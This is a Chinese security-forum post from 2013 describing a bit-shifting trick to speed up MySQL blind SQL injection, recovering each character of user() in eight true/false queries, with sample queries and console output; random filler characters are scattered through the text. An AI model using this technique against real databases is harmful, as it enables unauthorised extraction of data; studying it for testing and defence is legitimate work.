找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
; J6 r1 D% I6 ^: T; G$ o: ~5 u2 I& \# D' ?9 q

5 Q" b  m8 I7 U* w4 q1 n& p5 A0 o5 r# l6 n, H% X( v+ d
下面将以查询mysql数据库当中user()的第一位为例:
. |8 a2 G2 Y5 q, ?; x1 Q- \# L! W* G% {( ~" p9 |+ b
4 p1 \7 _3 L+ i
9 |: q) B6 d5 I5 O# }
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)2 z! r+ j  d# Z

4 h4 t) ~5 {: O6 r# `* ^
7 M& P# Z1 a1 v1 X, ^9 d' j" z/ S# v' p- c  @$ Q9 a! \' ?
首先执行如下sql语句:
- w# _  H5 G7 m7 z6 Q$ g: H. l7 o' Y. Y% Q/ u+ D% }1 j
8 Y2 |* d, J8 a9 }
1 {8 ?5 L+ h0 T6 R" N
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
/ [5 W% k4 Y  R* y1 k
' H; u3 r- `' ?6 S * y; o( Z4 g0 X7 y3 Q7 w8 W) Z
# P# t( d' F+ H, ~& l. N
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的) N3 `5 I7 L5 L. @; `+ {

4 v3 F. r' K5 b1 H1 J. A! w1 q
5 Z/ [: b, n( m5 @( W0 C2 ]1 {( g9 p8 ?5 Z  e; w1 ?' L1 g
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! t6 h* \& `, r+ l+ ?5 J: ~$ U" i% F3 A1 z
  T, U  B  f/ A

, f& ?0 K7 R# S# k# S3 V& g3 w如果运算结果为1,说明第一位为0,不为1. z! Q6 _5 j! ]9 _; ]/ K/ g
6 g2 Z' w$ a7 D- N3 A) r
& @( }0 t( N3 t8 _
- T3 y, {4 U$ Y  e2 A
+————————————–+0 K: ^+ t$ p( b) [' D& U
+ L8 m! h9 x0 F! g8 m
| (ascii((substr(user(),1,1))) >> 7)=0 |' q  N6 c7 D4 G5 H/ C* B

! V/ O3 w. w2 j+————————————–+
  e$ {1 W5 Q" W- ]  |1 s/ T, H& T( v" r. E7 P
| 1 |
5 e& e) R- T$ F' P
: k7 ?9 J! a4 I4 T$ i" G+————————————–+
. s: I+ M9 ^) c2 j) j* X. P( f) b' u' z9 r0 `+ z8 }- @6 _
1 row in set (0.00 sec)
# F" Y2 C3 ]0 k! N5 z# q
8 y! q- s! x. I这样我们就确定这个8bit的ascii的第一位为0" v* Z  E# X, N1 |* k6 ~
) `8 u. V; Q, g8 a# d- x. m$ G
. }& z% U  |) K" x
2 u0 K* Q/ N: w8 a: |) z' ^
第二次我们来做6次右偏移来确定前两位
" h9 J- _, J* V
7 I  j$ y( Q% Y! W  K+ G - d: f! ~6 j; m+ R# Z7 P! A

  W3 Q; \  o: m; [0 e前两位可能是01或00,即依然可以与0做比较,3 @; Y/ {  Q# T8 R- z' B! {9 M
6 H/ P( L/ F  l; d/ b2 |
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
& j/ j( ?+ q! B2 Y2 ]
% [0 y, Y1 n' `0 _% R- r# u+————————————–+# a- c! m, R2 H% E) s! _

# d' K# O; [0 e1 \| (ascii((substr(user(),1,1))) >> 6)=0 |
- [" F9 _" N. {$ E# U' b0 F
5 q* l' M8 x0 E+————————————–+
* I( w/ o% ~/ U" P+ R
+ N; j0 c/ S  b) F8 N3 F9 [| 0 |; f& B8 o/ b8 \0 N/ @/ G
$ u6 c- h! D' F* m* s, C" Z- s4 p1 k
+————————————–+
, a. q( Q4 ]/ O5 S# C
  t2 h3 n$ v" q* Q& S/ d; T* K1 row in set (0.00 sec)
9 j, o' \- {* A  f+ o) V9 G( ~. {, a$ B- |6 h' s4 B

9 g% Q- _1 k1 ]' g6 ^5 |* z+ D+ t  t- z, c! e* C; j" i
结果为0,即第二位为1
4 o  w- N3 r9 c( F& i" M/ ]. R. P8 W
* _! o5 `& y' H9 ]$ E3 R 3 i4 z* {  u* h& y% |
: g4 P( Y# `5 P+ ^: Q+ t8 x# p
开始猜测前三位为010或011
9 D6 R$ u, M# W% A/ ?! s! \" Q9 j4 t

/ |- K0 D) b! B  {- @5 X  b9 x& {: Z! ~
让我们看看010和011的ascii码是多少
/ Z2 p! C; m* K# I* L
# r4 y( `) h# ~
, |* s- L5 @4 I$ b. T8 J$ s3 `5 J
1 Z4 m9 E' a5 s( V8 M, D) o) K  ?分别查询select b’011′ select b’010′
( I, w: F: B0 n$ N  K) ?2 q6 w2 n$ P( v0 S; r
- j( Q' i8 f" X

0 W1 d5 H7 O( w5 `# a2 p+ W获得结果 010 = 2 011 = 3
' P0 D2 v0 A1 i/ \7 w* ~( C7 r. h% N, y% K/ l2 Q5 G. i8 v6 T' |

! @( |- m" Y+ i3 e: ~5 F' w/ o1 d" F6 M3 X) J
执行如下sql:* @# @* B, X9 v8 M
- o  y8 _- T4 w7 l1 `

8 @: ~) g5 b/ M; t7 V. R( s
, m; S$ r5 n6 {0 ?' K' Cmysql> select (ascii((substr(user(),1,1))) >> 5)=2;3 p1 V2 ]/ q' P- L

* U# m0 F1 X6 P8 o+————————————–+9 x7 G" `: ^& ?/ s. A

, c; ~0 U. X0 e7 d) l| (ascii((substr(user(),1,1))) >> 5)=2 |
9 z2 ^3 g$ a# V2 r- _+ _4 @
/ D  u; K+ m! w, f, v6 b3 a+————————————–+4 ]  w0 \9 `* Q) W; G$ A

7 O2 j+ ?, Y# j  r) e2 Y' K/ z2 s| 0 |
1 e) v2 D* \2 ?. R8 K5 B) n  ]( U6 [& N7 O
+————————————–+
- T. [1 G  k5 o2 |
* H3 i1 n/ g% Y2 R6 s& `. m3 m+ E8 H- l即前三位不为010,而是011
: Z: s# e' n# W# Y: W2 U6 ^; e5 U& `% _/ I
% W1 Q( T2 ^9 ^# i4 ^" l
) ]( H. S2 v( s+ B; M/ H, [& ?, t  P
直到获得最后一位) p( X/ O: o& q1 h" Q

/ d- P2 ]  ~7 E; U3 e' u: H1 _
. C! L" m& r  p' C
& M: U# k  e: F6 |% ~4 u  B+ C最终结果为:01110010
3 ]. h" A+ {3 M+ O% U4 [' f' _! R7 H& ]9 P2 p3 \* Z9 h" {" X5 y
( a) T8 H) c1 D" |- h/ \7 J
" Y' u9 @0 M7 ?0 N# n3 _7 }8 Y) ?9 f
转换一下:9 U0 m3 c6 n7 q! ~4 F7 f* U3 Z
% V2 F& V5 U" z3 R8 ^

( ?: \- c: s4 L) C: w% O+ }. m, y6 ^
select b’01110010′
* k+ A( \2 D: t
( j1 K) }  U9 t3 f% p2 _ , z! Z( L  E% Y5 ]$ W. S1 p+ i$ M
" T0 X9 Q! z3 N7 ^5 _7 ?
查询结果
6 P% m; r6 o, B- H& u9 E& \0 ~) x+ [  A) Z" r

; X7 v+ u- N7 H/ h( e2 Q# h8 ^% ^: Y. G8 H$ V
+————-+7 \! H% n- j, U( ^
, J# {: l7 O; f
| b’01110010′ |* ]: c+ u4 {. _! d; V" w
+ ]* r' K! n/ c# Z
+————-+1 _  d  N8 |) Q6 A, K1 p0 N- y

, A$ L: ]/ v8 ?9 T1 Z| r |
& C4 w' B3 n% E! G4 m  `8 I% z4 J9 k  |
+————-+
8 W& {+ R. P& C( U  r$ N) Q8 P& O
3 p+ J9 n# @- ~+ E6 W4 `8 X% b1 row in set (0.00 sec)
! I( v# r+ q: j  P/ t) A5 U4 g( N& _: ?: V" A0 M, Z
, ^5 M2 ]7 I/ G2 y

) O6 L' r( L' ]$ c- f这样我们就获得了user()的第一位.其它位依此类推& C$ g- }7 N; i5 W

+ @3 U" B' ~/ i5 r" L4 q6 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表